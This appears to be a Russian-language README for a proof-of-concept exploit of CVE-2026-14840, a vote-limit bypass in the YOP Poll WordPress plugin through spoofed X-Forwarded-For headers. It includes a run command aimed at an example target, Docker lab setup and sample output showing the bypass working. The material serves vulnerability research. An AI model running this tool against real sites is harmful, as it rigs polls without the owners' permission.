
Эксплойт proof-of-concept для обхода лимита голосования в плагине WordPress через подделку заголовков X-Forwarded-For; поставляется с Docker-лабораторией для проверки CVE-2026-14840 на авторизованных инстансах WordPress.
Автор: nullwhisper
Назначение: только авторизованные исследования безопасности / проверка уязвимостей.
Версии плагина YOP Poll < 7.0.6 применяют ограничение «один голос с одного IP». Проблема в том, что для получения IP клиента он проверяет HTTP_CLIENT_IP и HTTP_X_FORWARDED_FOR раньше, чем REMOTE_ADDR. Оба заголовка контролируются атакующим, поэтому неаутентифицированный пользователь может подделывать новый IP в каждом запросе и голосовать неограниченное количество раз.
.
├── cve_2026_14840_poc.py # Main PoC
├── lab/
│ ├── docker-compose.yml # WordPress lab
│ └── setup.php # Creates a poll + public test page
├── requirements.txt
└── README.md
pip3 install -r requirements.txt
python3 cve_2026_14840_poc.py -u https://target.com/page-with-poll -n 10
-n — количество отдаваемых голосов. Если будет принято более одного, цель уязвима.
Скрипт автоматически переключается на ?rest_route=/yop-poll/v1/votes, если сайт использует обычные постоянные ссылки WordPress (plain permalinks), а /wp-json/... возвращает HTML.
Скачайте уязвимый плагин (не распространяйте сам дистрибутив плагина):
mkdir -p lab/yop-poll
cd lab/yop-poll
wget https://downloads.wordpress.org/plugin/yop-poll.7.0.5.zip
unzip yop-poll.7.0.5.zip && rm yop-poll.7.0.5.zip
cd ../..
Запустите стенд:
cd lab
docker compose up -d
Завершите установку WordPress по адресу http://127.0.0.1:8090.
Создайте опрос и тестовую страницу:
docker exec -i lab-wpcli-1 php /tmp/setup.php
Запустите PoC:
python3 cve_2026_14840_poc.py -u 'http://127.0.0.1:8090/?page_id=4' -n 5
Протестировано на WordPress 6.8 + YOP Poll 7.0.5 со стандартными постоянными ссылками (plain permalinks).
Один и тот же IP три раза — ограничение работает:
#1 201 -> Vote recorded successfully.
#2 403 -> You have already voted on this poll.
#3 403 -> You have already voted on this poll.
Разный IP в каждом запросе через X-Forwarded-For — обход работает:
#1 201 -> Vote recorded successfully.
#2 201 -> Vote recorded successfully.
#3 201 -> Vote recorded successfully.
Таблица wp_yoppoll_votes растёт на одну строку при каждом подделанном IP, что подтверждает обход лимита по IP.
В этом репозитории находятся только PoC и файлы оркестрации стенда. Плагин YOP Poll распространяется под лицензией GPL-2.0+, но распространять его полную копию не обязательно: это раздувает репозиторий и может вызвать проблемы. Скачайте версию 7.0.5 с WordPress.org для своего стенда.
Этот инструмент предназначен только для авторизованного тестирования безопасности и исследований. Не используйте его против систем, которыми вы не владеете или на тестирование которых у вас нет явного разрешения. Автор не несёт ответственности за неправомерное использование или ущерб, причинённый этим кодом.